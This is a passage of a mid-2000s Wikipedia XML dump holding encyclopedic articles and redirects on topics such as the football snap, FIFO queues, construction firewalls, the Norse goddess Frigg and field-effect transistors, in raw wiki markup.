      <timestamp>2005-09-18T13:39:33Z</timestamp>
      <contributor>
        <username>Silverfish</username>
        <id>10903</id>
      </contributor>
      <minor />
      <comment>Stub-sorting. [[Wikipedia:WikiProject Stub sorting|You can help!]]</comment>
      <text xml:space="preserve">A '''first-order predicate''' is a [[predicate]] that takes only individual(s) as argument(s). Compare [[second-order predicate]] and [[higher-order predicate]].

==See also== 
*[[First-order predicate calculus]]
[[Category:Mathematical logic]]
{{Mathlogic-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Snap (football)</title>
    <id>11345</id>
    <revision>
      <id>31538582</id>
      <timestamp>2005-12-15T23:43:29Z</timestamp>
      <contributor>
        <username>Zzyzx11</username>
        <id>182902</id>
      </contributor>
      <minor />
      <comment>moved [[Snap (American football)]] to [[Snap (football)]]</comment>
      <text xml:space="preserve">A '''snap''' (colloquially called a &quot;hike&quot;, &quot;snapback&quot;, or &quot;pass from center&quot;) starts each [[American football]] and [[Canadian football]] [[play from scrimmage]]. The ball begins on the ground with its long axis parallel to the sidelines of the field, its ends marking each team's [[line of scrimmage]] in American football; in Canadian football line of scrimmage of the team without the ball is 1 yard their side of the ball.  The snap must be a quick and continuous movement of the ball by one or both hands of the snapper (&quot;centre&quot; in Canadian football), and the ball must leave the snapper's hands. The various rules codes have additional requirements, all of which have the effect of requiring the ball to go backwards to a player behind the line of scrimmage (i.e. in the &quot;backfield&quot;).  The ball may be handed, thrown, or even rolled, and its trajectory and the ball during that passage are called &quot;the snap&quot;. The snapper is almost always the [[center_(football)|center]]. The ball is almost always sent between the snapper's/center's/centre's legs, but only in Canadian football is that required.  Additional rules apply regarding the positioning and stance of the snapper as one of several &quot;line&quot; players in anticipation of the snap.

The team entitled to snap the ball will usually know in advance the moment when the snap is to occur as one of their players calls out signals, which usually include a loud sound such as &quot;hut&quot; voiced one or more times, the number of which they know; they are thus said to know the &quot;snap count&quot;. (A team of deaf players may get the snap timing via the beating of a bass drum near the field.)  Therefore they have a considerable advantage over their opponents. The snapper is not, however, allowed to make motions simulating part of the snap action; therefore their opponents can be confident the first motion of the ball or the snapper's hands is the beginning of the snap.

For a handed snap, the snapper will usually have his or her head up, facing opponents.  For a thrown snap, especially in formations wherein the ball may be snapped to players in different positions, the snapper will commonly bend over looking between his or her legs.  Because of the vulnerability of a player in such a position, the National Collegiate Athletic Administration (NCAA) and the National Federation of State High School Associations (&quot;Fed&quot;) have adopted rules providing that if a player is positioned at least 7 yards behind the neutral zone to receive a snap, opponents are not to deliberately contact the snapper until one second after the snap (NCAA), or until the snapper has a chance to react (Fed).  However, in professional football it is common for a center to be able to practice a single &quot;shotgun&quot; formation thrown snap enough to keep his head up and toss it blindly.

== History and rationale ==

The snap, the set scrummage and ruck in today's Rugby Union, and the play-the-ball in Rugby League have common origins in rugby football.  As the rules of rugby's scrimmage were written when the game came to North America, they had a significant flaw which was corrected by custom elsewhere, but by the invention of the snap in American football.  See [http://users.bestweb.net/~robgood/football/uncontested.txt &quot;Why the Uncontested Scrimmage&quot;].

The rule adopted by a committee for American football in 1880 first provided for the uncontested right of one side to play the ball by foot (in any direction) for a scrimmage.  A certain use of the foot on the ball which had the same effect as heeling it back was known as a &quot;snap&quot;.  Later in the 19th Century the option of snapping the ball back by hand was added.  The option to play the ball with the foot was preserved, however, for several decades, although by early in the 20th Century it was restricted to kicking the ball forward.  The kick forward in scrimmage was a surprise play which did not work against a prepared defense.  Also for several decades alternatives to the scrimmage for playing the ball from across the sideline after it had gone out of bounds -- a throw-in or &quot;fair&quot;, and &quot;bounding in&quot; -- existed.  Note also that until well into the 20th Century, rather than an official readying the ball for scrimmage, the side entitled to the snap had complete custody of the ball and could snap it from the required spot at any time; for instance, a tackled ball carrier might feign injury, then suddenly snap the ball while recumbent, there being no stance requirement yet.  The neutral zone and the right of the snapper not to be contacted by an opponent before the snap also was not an original feature.  As the 20th Century drew to a close, the NCAA and National Federation of State High School Associations extended that protection to some time '''after''' the snap, in cases where a player is positioned at least 7 yards deep to receive a thrown snap.

Canadian football used the rugby scrimmage unaltered until near the end of the 19th Century, when, regionally at first, under the influence of the American scrimmage, the number of players in the scrimmage was limited to three -- a &quot;centre scrimmager&quot; bound on either side by props called &quot;side scrimmagers&quot;.  The centre scrimmager was later renamed the &quot;snap&quot;, and in intercollegiate play one side was given the right to put foot to ball first.  Beginning regionally again and universally by 1923, the 3-man scrimmage was reduced to the centre alone, the number of players on the field being reduced commensurately from 14 to 12, and a snap rule and neutral zone similar to that of American football was adopted.  In addition to the between-the-legs requirement noted above, for several years after the adoption of the hand snap, a hand-to-hand snap was illegal, the ball required to be thrown instead, in Canadian football.  Apparently a complete break was desired from system of backheeling, and the T formation having gone into eclipse in American football at the time, the Canadian snap was modeled on the formations then in common use in the USA, such as the single wing.

The game design rationale for requiring the snap to be a quick and continuous motion to the backfield is to eliminate the need for rules provisions for a live ball in scrimmage.  In Rugby Union the ball may be retained by the forwards and played for a time via the foot in a scrummage (which Rugby League has as well) or ruck, or by the hands in a maul, necessitating additional restrictions on play and player positioning during those intervals.  In American and Canadian football, the ball as it is put in play is only held in the line (by the snapper) for a fraction of a second.  The uncontested possession also, as Walter Camp pointed out, allows for better offensive and defensive planning by the side entitled to snap the ball and their opposition, respectively.  Sometimes the snap is muffed by a player in the backfield and the ball lost to the other team; however, it is almost inconceivable that the ball be lost before any player of the snapper's team has a chance to play it!

==See also:==
*[[American football/Glossary]]

[[Category:American football terminology]]</text>
    </revision>
  </page>
  <page>
    <title>Firewire</title>
    <id>11346</id>
    <revision>
      <id>15909097</id>
      <timestamp>2004-03-29T23:52:45Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[FireWire]]</text>
    </revision>
  </page>
  <page>
    <title>FIFO</title>
    <id>11347</id>
    <revision>
      <id>40698217</id>
      <timestamp>2006-02-22T11:10:20Z</timestamp>
      <contributor>
        <ip>151.49.16.182</ip>
      </contributor>
      <text xml:space="preserve">'''FIFO''' is an [[acronym]] for '''First In, First Out'''. This expression describes the principle of a [[queue]] or [[first-come, first-served]] behavior: what comes in first is handled first, what comes in next waits until the first is finished, etc. Thus it is analogous to the behaviour of persons &quot;standing in a line&quot; (preferred in [[American English]]) or &quot;queueing&quot; (preferred in [[Commonwealth English]]), where the persons leave the queue in the order they arrive.

A [[priority queue]] is a variation on the queue which does not qualify for the name FIFO, because it is not accurately descriptive of that [[data structure]]'s behavior. [[Queuing theory]] encompasses the more general concept of queue, as well as interactions between strict-FIFO queues.

The expression '''FIFO''' can be used in different contexts.

==People==
*For queues of people, ''see'' [[queue area]].

==Computer science==
===Data structure===
In [[computer science]] this term refers to the way data stored in a queue is processed. Each item in the queue is stored in a queue (''simpliciter'') data structure. The first data to be added to the queue will be the first data to be removed, then processing proceeds sequentially in the same order. This is typical behavior for a queue, but see also the [[LIFO]] and [[Stack (computing)|stack]] algorithms.

A typical data structure will look like

  struct fifo_node {
    fifo_node *next;
    value_type value;
  };

  class fifo
  {
    fifo_node *front;
    fifo_node *back;
    fifo_node *dequeue(void)
    {
      fifo_node *tmp = front;
      front = front-&gt;next;
      return tmp;
    }
    queue(value)
    {
      fifo_node *tempNode = new fifo_node;
      tempNode-&gt;value = value;
      back-&gt;next = tempNode;
      back = tempNode;
    }
  }

(For information on the abstract data structure, and an implementation in [[scheme]], see [[Queue]]. For details of a common implementation, see [[Circular buffer]].)

Popular UNIX systems include a sys/queue.h C/C++ header file which provides macros usable by applications necessary to create FIFO queues.

===Pipes===
In computing environments that support the [[pipes and filters]] model for [[interprocess communication]], a '''FIFO''' is another name for a [[named pipe]].

==Electronics==
FIFOs are used commonly in [[electronics|electronic]] circuits for buffering and flow control. In hardware form a FIFO primarily consists of a set of read and write pointers, storage and control logic. Storage may be SRAM, flip-flops, latches or any other suitable form of storage. For FIFOs of non-trivial size a dual-port SRAM is usually used where one port is used for writing and the other is used for reading. 

A synchronous FIFO is a FIFO where the same clock is used for both reading and writing. An asynchronous FIFO uses different clocks for reading and writing. Asynchronous FIFOs introduce [[metastability]] issues.
A common implementation of an asychronous FIFO uses a [[Gray code]] (or
any unit distance code) for the read and write pointers to ensure reliable
flag generation. One further note concerning flag generation is that one
must necessarily use pointer arithmetic to generate flags for asynchronous FIFO
implementations. Conversely, one may use either a &quot;leaky bucket&quot; approach or
pointer arithmetic to generate flags in synchronous FIFO implementations.

Examples of FIFO status flags include: full, empty, almost full, or almost empty.

==Accounting==
In [[accounting]], '''FIFO''' is a common method for recording the value of [[inventory]].  It is appropriate where there are many different batches of similar products.  The method presumes that the next item to be shipped will be the oldest of that type in the warehouse.  In practice, this usually reflects the underlying commercial substance of the transaction, since many companies rotate their inventory. See also [[LIFO]] in this context.

In an economy of rising prices, it is common for beginning companies to use FIFO for reporting the value of merchandise to bolster their balance sheet.  As the older and cheaper goods are sold, the newer and more expensive goods remain as assets on the company's books.  Having the more higher valued assets and the lower purchase costs of the sold goods part of the company's books, increases the chances of getting a loan from potential creditors for the company.  However, as the company grows it may switch to LIFO to reduce the amount of taxes it pays to the government.

==See also==
*[[LIFO]] (Last in, first out)

[[Category:Scheduling algorithms]]
[[Category:Accounting]]

[[de:First In – First Out]]
[[es:FIFO]]
[[fr:First in, first out]]
[[he:נכנס ראשון יוצא ראשון]]
[[it:FIFO]]
[[lt:FIFO]]
[[nl:Fifo]]
[[ja:FIFO]]
[[pt:FIFO]]
[[sv:FIFO]]</text>
    </revision>
  </page>
  <page>
    <title>Farnhams Freehold</title>
    <id>11348</id>
    <revision>
      <id>15909099</id>
      <timestamp>2002-07-02T21:30:36Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Farmham's Freehold</comment>
      <text xml:space="preserve">#REDIRECT [[Farnham's Freehold]]</text>
    </revision>
  </page>
  <page>
    <title>Firewalls</title>
    <id>11349</id>
    <revision>
      <id>15909100</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Firewall]]
</text>
    </revision>
  </page>
  <page>
    <title>Firewall (construction)</title>
    <id>11350</id>
    <revision>
      <id>38472071</id>
      <timestamp>2006-02-06T15:41:41Z</timestamp>
      <contributor>
        <username>Pmberry</username>
        <id>161207</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:''This article is about firewalls used in [[construction]].  For the [[computer network|networking]] term, see [[firewall (networking)]].''

In construction, a '''firewall''' consists of a  [[window]]less, fireproof [[wall]] (or a wall of substantially heavier construction than other walls in a building) built to prevent [[fire]] from spreading beyond one section of a building.  Such firewalls form the built-up equivalent of [[firebreak]]s in a [[landscape]].  A firewall may contain [[fire door]]s and windows made of fire-rated wired [[glass]].  Their function in containing the undesirable resembles the use of [[bulkhead (partition) | bulkhead]]s in [[shipbuilding]] and [[aircraft]] construction.

Firewalls are also regularly found in [[aircraft]] and in specially prepared [[automobile|cars]] for competition use. For example, a typical conversion of a production car for [[rallying]] will include a metal firewall which seals the [[fuel]] tank off from the interior of the vehicle.  In the event of an accident resulting in fuel spillage, the firewall can prevent burning fuel from entering the passenger compartment, where it could cause serious injury or death.  Firewalls have to be fitted so that they form a complete seal &amp;mdash; usually this is done by bonding the metal sheet to the bodywork using [[fiberglass]] [[resin]].

[[Image:Dash Firewall.jpg|right|200px]]
The term '''firewall''' is also commonly used by automotive [[mechanic]]s to refer to the barrier between the [[passenger]] and [[engine]] compartments of any vehicle.
 
[[Category:Architectural elements]]
[[Category:Firefighting]]

[[de:Brandwand]]
[[he:&amp;#1495;&amp;#1493;&amp;#1502;&amp;#1514; &amp;#1488;&amp;#1513;]]</text>
    </revision>
  </page>
  <page>
    <title>Feudal system</title>
    <id>11351</id>
    <revision>
      <id>15909102</id>
      <timestamp>2004-03-15T18:14:56Z</timestamp>
      <contributor>
        <username>Anthony DiPierro</username>
        <id>34793</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Feudalism]]</text>
    </revision>
  </page>
  <page>
    <title>Fenrir (disambiguation)</title>
    <id>11352</id>
    <revision>
      <id>40197823</id>
      <timestamp>2006-02-18T22:18:07Z</timestamp>
      <contributor>
        <ip>216.174.137.202</ip>
      </contributor>
      <text xml:space="preserve">'''Fenrir''' may refer to:

#[[Fenrisulfr]] or '''Fenrir''', a Norse mythological wolf.
#[[Minor Dark wizards in Harry Potter#Fenrir Greyback|'''Fenrir''' Greyback]], a lycanthropic Death Eater in the Harry Potter series of books.
#[[Maugrim|'''Fenri'''s Ulf]], the captain of the Witch's Secret Police in the Narnia series of books.
#'''[[Fenrir (band)|Fenrir]]''', a heavy metal band in Argentina.
#'''[[Fenrir (Final Fantasy)|Fenrir]]''', a summoned wolf avatar in the [[Final Fantasy XI]] [[video game]], based on [[Fenrisulfr]].
#'''Fenrir''' is the true form of the [[Lord of Terror]] in the [[anime]]/[[manga]] [[Oh My Goddess!]]
#'''[[Fernir]]''', is the name of the bike driven by [[Cloud Strife]] in the movie [[Final Fantasy VII: Advent Children]]
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Frigg</title>
    <id>11353</id>
    <revision>
      <id>40948241</id>
      <timestamp>2006-02-24T01:35:24Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: it Removing: zh</comment>
      <text xml:space="preserve">[[Image:FriggSpinning.jpg|right|300px|thumb|Frigg spinning the clouds]]
In [[Norse mythology]], '''Frigg''' (''[[Edda]]s'') or '''Frigga''' (''[[Gesta Danorum]]'') was said to be &quot;foremost among the goddesses,&quot; &lt;sup&gt;[[#Notes|1]]&lt;/sup&gt; the wife of [[Odin]], queen of the [[Æsir]], and goddess of the sky.  One of the [[Ásynjur]], she is a goddess of marriage, motherhood, fertility, love, household management, and domestic arts. Her primary functions in the Norse mythological stories are as wife and mother, but these are not her only functions. She has the power of prophecy although she does not tell what she knows &lt;sup&gt;[[#Notes|2]]&lt;/sup&gt;, and is the only one other than Odin who is permitted to sit on his high seat [[Hlidskjalf]] and look out over the universe. She also participates in the [[Wild Hunt]] ([[Asgardreid]]) along with her husband. Frigg's children are [[Baldr]], [[Höðr]] and, in an English source, [[Wecta]]; her stepchildren are [[Hermóðr]], [[Heimdall]], [[Tyr]], [[Vidar]], [[Váli (son of Odin)|Váli]], and [[Skjoldr]]. [[Thor]] is either her brother or a stepson. Frigg's companion is [[Eir]], the gods' doctor and goddess of healing. Frigg's attendants are [[Hlín]] (a goddess of protection), [[Gná]] (a messenger goddess), and [[Fulla]] (a fertility goddess). It is unclear whether Frigg's companions and attendants are simply different aspects of Frigg herself (cf. [[avatar]]). According to the poem ''[[Lokasenna]]'' Frigg is the daughter of [[Fjorgyn]] (masculine version of &quot;Earth,&quot; cf. feminine version of &quot;Earth,&quot; Thor's mother), her mother is not identified in the stories that have survived.  

==Attributes==

In [[Scandinavia]], the [[constellation]] called &quot;[[Orion's belt|Orion's Belt]]&quot; in English is known as &quot;Frigg's [[Distaff]]&quot; (''Friggerock''). Some have pointed out that the constellation is on the celestial equator and have suggested that the stars rotating in the night sky may have been associated with Frigg's spinning wheel. &lt;sup&gt;[[#Notes|3]]&lt;/sup&gt;  She is said to have woven or spun the clouds.

Frigg's name means &quot;love&quot; or &quot;beloved one&quot; and was known among many northern European cultures with slight name variations over time: e.g. '''Frea''' in southern Germany, '''Frija''' or '''Friia''' in Old High German, '''Friggja''' in Sweden, &quot;Frigga&quot; in English, and '''Frika''' in Wagner's operas. &lt;sup&gt;[[#Notes|4]]&lt;/sup&gt; It has been suggested that &quot;[[Holda|Frau Holle]]&quot; of [[German folklore]] is a survival of Frigg. &lt;sup&gt;[[#Notes|5]]&lt;/sup&gt;

Frigg's hall in Asgard is [[Fensalir]], which means &quot;Marsh Halls.&quot; &lt;sup&gt;[[#Notes|6]]&lt;/sup&gt; This may mean that marshy or boggy land was considered especially sacred to her but nothing definitive is known.  The goddess [[Saga (mythology)|Saga]], who was described as drinking with Odin from golden cups in her hall &quot;Sunken Benches,&quot; may be Frigg by a different name.

{| 
|-
! style=&quot;background:#efefef;&quot; | Symbols associated with Frigg:
|- 
| Keys
|- 
| Distaff
|- 
| Drop spindle (spinning wheel)
|- 
| Mistletoe
|}

==Stories about Frigg==

===The Death of Baldr===
The most famous story about Frigg has her in the role of mother.  Frigg especially loved her son Baldr, and with a mother's concern she set about trying to protect him after he had a prophetic dream of his own death. She had everything in the world promise not to harm him, but did not extract a promise from mistletoe. The gods soon made a game of throwing things at Baldr and watching them bounce off without hurting him. In [[Snorri Sturluson]]'s version of the story, Baldr's brother Höðr is blind and can't join in on the fun. [[Loki]] made a dart out of mistletoe and put it into Höðr's hand, offering to guide his aim so he can participate in the game of throwing things at Baldr. Rather than bouncing off, the dart kills Baldr.

Even though Frigg must have known that Baldr was doomed, both through one of Baldr's prophetic dreams and her own foreknowlege, she tries to alter his fate. Even after he dies she doesn't give up and tries to arrange to have him ransomed from the underworld. According to some versions of the story, mistletoe became sacred to Frigg as a result of its failure to give Frigg its oath.

===The Winnilers and the Vandals===
In this story, Frigg is shown in the role of wife, but one who knows how to get her own way even though her husband thinks he is in charge. The [[Winnilers]] and the [[Vandals]] were two warring tribes. Odin favored the Vandals, while Frigg favored the Winnilers.  After a heated discussion, Odin swore that he would grant victory to the first tribe he saw the next morning upon awakening-- knowing full well that the bed was arranged so that the Vandals were on his side. While he slept, Frigg told the Winniler women to comb their hair over their faces to look like long beards so they would look like men and turned the bed so the Winniler women would be on Odin's side. When he woke up, Odin was surprised to see the disguised women first and asked who these long bearded men were, which was where the tribe got its new name, the Langobards.  Odin kept his oath and granted victory to the Winnilers (now known as the [[Lombards]]), and eventually saw the wisdom of Frigg's choice. 

===Vili and Ve===
In this story, Frigg has the role of sacred queen much like the role of queens during certain periods in ancient Egypt, where the king was king by virtue of being the queen's husband. As the story goes, Odin went wandering for a very long time without coming back. Finally, everyone assumed he was dead or otherwise never going to return. After quite some time had passed, Frigg &quot;married&quot; Odin's two brothers, [[Vili]] and [[Ve]], who ruled in Odin's place.  Eventually, Odin came back to rule and Frigg returned to his side as his wife.

==Connection between Frigg and Freya==

Frigg is the highest goddess of the [[Æsir]], while [[Freya]] is the highest goddess of the [[Vanir]]. Many arguments have been made both for and against the idea that Frigg and Freya are really the same goddess, avatars of one another. &lt;sup&gt;[[#Notes|7]]&lt;/sup&gt;
Some arguments are based on linguistic analysis, others on the fact that Freya wasn't known in southern Germany, only in the north, and in some places the two goddesses were considered to be the same, while in others they were considered to be different. &lt;sup&gt;[[#Notes|8]]&lt;/sup&gt; There are clearly many similarities between the two: both had flying cloaks of falcon feathers and engaged in shape-shifting, Frigg was married to Odin while Freya was married to [[Óðr]], both had special necklaces, both had a personification of the Earth as a parent, both were called upon for assistance in childbirth, etc. On the other hand, they sometimes appear at the same time in the same text.

There is also an argument that Frigg and Freya are part of a triad of goddesses (together with either [[Hnoss]] or [[Iðunn]]) associated with the different ages of womankind.  The areas of influence of Frigg and Freya don't quite match up with the areas of influence often seen in other goddess triads.  This may mean that the argument isn't a good one, or it may tell us something interesting about northern European culture as compared to Celtic and southern European culture.

Finally, there is an argument is that Frigg and Freya are similar goddesses from different pantheons who were first conflated into each other and then later seen as separate goddesses again. (See also Wikipedia entry for [[Frige]].) This is consistent with the theological treatment of  some Greek, Roman, and Egyptian deities in the late classical period.

==Maidservants==

Frigg had 11 maidservants: Fulla, Hlín, Gná, Lofn, Sjöfn, Syn, Gefjon, Snotra, Eir, Vár, and Vör, who helped the goddess in her role as goddess of marriage and justice. They are sometimes considered to be various aspects of Frigg herself rather than distinct beings.  Other times 12 maidservants are listed.

==Notes==

&lt;!--Note 1--&gt;
# Sturluson, Snorri. Prose Edda, [[Gylfaginning]].
&lt;!--Note 2--&gt;
# Sturluson, Snorri. Prose Edda, [[Skáldskaparmál]]. &quot;She will tell no fortunes, yet well she knows the fates of men.&quot;
&lt;!--Note 3--&gt;
# Krupp, E. C. (Jan. 1996). The thread of time.  ''Sky and Telescope''. '''91'''(1), 60. 
&lt;!--Note 4--&gt; 
# Claims of a connection between Frau Holle and Frigg can be traced back at least to Jacob Grimm.  However, some recent scholarship suggests that the linguistic evidence connecting Frau Holle with Frigg is based on a mistaken translation from Latin.  Smith, John B.  (Aug. 2004).  Perchta the Belly-Slitter and Her Kin: A View of Some Traditional Threatening Figures, Threats and Punishments.  ''Folklore''. '''115'''(2), 167, 169.  
&lt;!--Note 5--&gt;
# Simek, Rudolf (1993). ''Dictionary of Northern Mythology,'' page 81. Trans. Angela Hall. Cambridge: D. S. Brewer. 
&lt;!--Note 6--&gt;
# Simek, pages 93-94.  ''Also:''  Lindow, John (2001).  ''Norse Mythology: A Guide to the Gods, Heroes, Rituals, and Beliefs,'' pages 128-130. Oxford: Oxford University Press.
&lt;!--Note 7--&gt;
# Davidson, Hilda Ellis. (1998).  ''Roles of the Northern Goddess,'' page 10.   London: Routlege.  ''Also:'' Grundy, Stephen, Freyja and Frigg, pages 56-67; Nasstrom, Brit-Mari.  Freyja, a goddess with many names, pages 68-77.  Billington, Sandra &amp; Green, Miranda (Eds.)  (1996).  ''The Concept of the Goddess.'' London: Routlege. 
&lt;!--Note 8--&gt;
# Welsh, Lynda.  (2001).  ''Goddess of the North,'' page 75. York Beach: Weiser Books.

== External links ==

* [http://shadowlight.gydja.com/faces.html The Face of the Goddess] -- Frigg's twelve handmaidens and associated signs of the zodiac

{{NorseMythology}}

[[Category:Norse goddesses]]
[[Category:Germanic deities]]
[[Category:Fertility goddesses]]
[[Category:Fictional queens]]

[[ca:Frigg]]
[[da:Frigg]]
[[de:Frigg]]
[[el:Φρίγκα]]
[[es:Frigg]]
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[[fr:Frigg]]
[[hr:Frigg]]
[[is:Frigg Fjörgynsdóttir]]
[[it:Frigg]]
[[nl:Frigg]]
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[[pl:Frigg]]
[[pt:Frigga]]
[[ru:Фригг]]
[[sv:Frigg]]</text>
    </revision>
  </page>
  <page>
    <title>Freehold</title>
    <id>11355</id>
    <revision>
      <id>42145835</id>
      <timestamp>2006-03-04T03:02:57Z</timestamp>
      <contributor>
        <username>Gflores</username>
        <id>153556</id>
      </contributor>
      <comment>cleanup</comment>
      <text xml:space="preserve">{{wiktionary}}
'''Freehold''' may refer to:

*[[Freehold (real property)]], a term used in real estate, land held in fee simple, as opposed to leasehold, which is land which is leased; see also [[allodial]]

*[[Freehold Borough, New Jersey]], a place in the state of New Jersey; see also, [[Freehold Township, New Jersey]]
 
*[[Board of Chosen Freeholders]], an elected county official in the state of New Jersey

*''[[Farnham's Freehold]]'', a novel written by Robert A. Heinlein in 1965

*Flying freehold, a term when upper floors of a property hang above land owned by another

*Freehold, a Victorian terraced area in the north east of the city of [[Lancaster]], Lancashire in the United Kingdom

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Field effect transistors</title>
    <id>11356</id>
    <revision>
      <id>15909106</id>
      <timestamp>2002-08-22T19:25:41Z</timestamp>
      <contributor>
        <username>Enchanter</username>
        <id>1104</id>
      </contributor>
      <minor />
      <comment>Fixing redirect</comment>
      <text xml:space="preserve">#REDIRECT [[field effect transistor]]</text>
    </revision>
  </page>
  <page>
    <title>Field effect transistor</title>
    <id>11357</id>
    <revision>
      <id>41577909</id>
      <timestamp>2006-02-28T06:51:59Z</timestamp>
      <contributor>
        <username>Ohnoitsjamie</username>
        <id>507787</id>
      </contributor>
      <comment>Revert to revision 40187133 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:P45N02LD.jpg|120px|thumb|Large power N-channel field effect transistor]]
The '''field-effect transistor''' (FET) is a [[transistor]] that relies on an [[electric field]] to control the shape and hence the [[conductivity]] of a 'channel' in a  [[semiconductor]] material. FETs are sometimes used as voltage-controlled [[resistor]]s. The concepts related to the field effect transistor predated those of the [[bipolar junction transistor]] (BJT). Nevertheless, FETs were implemented only ''after'' BJTs due to the simplicity of manufacturing BJTs over FETs at the time.

A FET has three terminals, which are known as the ''gate'', ''drain'' and ''source''. (Compare these to the terms used for BJTs: ''base'', ''collector'' and ''emitter''.) The voltage applied between the gate and source terminals modulates the current between the source and drain terminals.  There may also be a fourth terminal on some MOSFETs called the ''body'' (or ''bulk''), which sets the threshold voltage for operation. There are two 'modes' of FET: ''enhancement'', in which a voltage applied to the gate increases the current flow from source to drain; and ''depletion'', in which a voltage applied decreases the current flow from source to drain. Thus enhancement FETs are normally off, whereas depletion FETs are normally on.

Most FETs are made with conventional bulk [[Fabrication (semiconductor)|semiconductor processing techniques]], using the [[single crystal]] [[semiconductor]] wafer as the active region, or channel.

== Types of field-effect transistors ==
The FET is simpler in concept than the bipolar transistor and can be constructed from a wide range of materials. The channel region of any FET is either doped to produce n-type semiconductor, giving an &quot;N-channel&quot; device, or with p-type to give a &quot;P-channel&quot; device.  The doping determines the polarity of gate operation. The different types of field-effect transistors can be distinguished by the method of isolation between channel and gate:

* The '''[[MOSFET]]''' (Metal-Oxide-Semiconductor Field-Effect Transistor) utilizes an insulator (typically [[silicon dioxide|SiO&lt;sub&gt;2&lt;/sub&gt;]]).
* The '''[[JFET]]''' (Junction Field-Effect Transistor) uses a p-n junction as the gate.
* The '''[[MESFET]]''' (Metal-Semiconductor Field-Effect Transistor) substitutes the p-n-junction of the JFET with a [[Schottky barrier]]; used in GaAs and other III-V semiconductor materials. 
* Using [[bandgap]] engineering in a ternary semiconductor like [[AlGaAs]] gives a '''[[HEMT]]''' (High Electron Mobility Transistor), also called an HFET (heterostructure FET).  The fully depleted wide-band-gap material forms the isolation.

Among the more unusual body materials are [[amorphous silicon]], [[polycrystalline silicon]] or other amorphous semiconductors in [[thin-film transistor]]s or [[OFET|organic field effect transistors]] that are based on [[organic semiconductor]]s and often apply organic gate insulators and electrodes.

== FET Operation ==
The shape of the conducting channel in a FET is altered when a potential difference is applied to the ''gate'' terminal (potential relative to either ''source'' or ''drain''.) In an '''n-channel &quot;depletion-mode&quot; device''', a ''negative gate voltage'' causes a ''[[Depletion zone|depletion region]]'' to expand in size and encroach on the channel from the side, narrowing the channel. If the depletion region completely closes the channel, the resistance of the channel becomes very large, and the FET is effectively turned off. ''Positive gate voltage'' attracts electrons from the surrounding semiconductor next to the gate, forming a conductive channel. At low source-to-drain voltages, small changes to the gate voltage will alter the channel resistance. In this mode the FET operates like a variable resistor. This mode is not employed when amplification is needed.

If a larger potential difference is applied between the source and drain terminals, this creates a significant current in the channel and produces a gradient of potential from source to drain. This also causes the shape of the depletion region to become asymmetrical–one end of the channel becomes narrow. If the potential difference is large enough, the depletion region begins to close the channel. The FET is said to be in ''saturation''. Rather than entirely blocking the electrons from flowing from source to drain, electrons flow through the depletion region in a controlled manner. Any attempted increase of the drain-to-source voltage will lengthen the depletion region, increasing the channel resistance proportionally with the applied drain-to-source voltage which causes the value of drain current to remain relatively fixed. This mode of operation is called ''pinch-off''. In this mode, the FET behaves as a [[current source|constant-current source]] rather than as a resistor and can be used as a voltage amplifier. The value of gate voltage determines the value of the constant current in the channel.

An '''&quot;enhancement-mode&quot; device''' is of slightly more complex construction.  Rather than one being one material, is made of a three-piece sandwich: similar to either an npn or a pnp transistor with no base connection, but still with a gate.  In this case, the device is &quot;normally-off&quot; since one of the two junctions will always be reverse biased.  The npn device is called a n-channel device and the pnp device is called an p-channel device.

== Uses ==
The most commonly used FET is the [[MOSFET]]. The [[CMOS]] (complementary metal oxide semiconductor)  process technology is the basis for modern [[digital]] [[integrated circuit]]s. This [[process technology]] uses an arrangement where the (usually &quot;enhancement-mode&quot;) p-channel MOSFET and n-channel MOSFET are connected in series such that when one is on, the other is off. In CMOS logic devices, the p-channel device ''pulls up'' the output and the n-channel device ''pulls down'' the output. The great advantage of CMOS circuits is that they allow no current to flow (ideally), except during the transition from one state to the other, which is very short. The gates are capacitive, and the charging and discharging of the gates each time a transistor switches states is the primary source of power usage in fast CMOS logic circuits.

The fragile insulating layer of the MOSFET between the gate and channel makes it vulnerable to [[electrostatic discharge|electrostatic damage]] during handling. This is not usually a problem after the device has been installed.  

FETs can switch signals of either polarity on the source or drain terminals, if their amplitude is significantly less than the gate swing, as the devices are typically symmetrical. This makes FETs suitable for switching analog signals between paths ([[multiplexing]]). With this concept, one can construct a solid-state [[mixing board]], for example.

The power MOSFET has a reverse-biased 'parasitic [[diode]]' shunting the conduction channel that has half the current capacity of the conduction channel. Sometimes this diode is used when driving [[inductive]] circuits, but in other cases it causes problems.  

A more recent device for power control is the insulated-gate bipolar transistor, or [[IGBT]].  This has a control structure akin to a MOSFET coupled with a bipolar-like main conduction channel.  These have become quite popular.

== External links ==
*[http://www.pbs.org/transistor/science/info/transmodern.html PBS The Field Effect Transistor]
*[http://www.onr.navy.mil/sci_tech/information/312_electronics/ncsr/devices/jfet.asp Junction Field Effect Transistor]
*[http://www.williamson-labs.com/480_fet.htm Field Effect Transistors]
*[http://www.play-hookey.com/semiconductors/enhancement_mode_mosfet.html The Enhancement Mode MOSFET]
*[http://www.allaboutcircuits.com/vol_4/chpt_3/8.html CMOS gate circuitry]
*[http://www.analog.com/library/analogDialogue/archives/35-05/latchup/ Winning the Battle Against Latchup in CMOS Analog Switches]

[[Category:Transistors]]

[[ca:Transistor d'efecte camp]]
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[[zh:场效应管]]</text>
    </revision>
  </page>
  <page>
    <title>Felix Wankel</title>
    <id>11358</id>
    <revision>
      <id>41855799</id>
      <timestamp>2006-03-02T04:19:39Z</timestamp>
      <contributor>
        <ip>66.77.124.62</ip>
      </contributor>
      <comment>add link</comment>
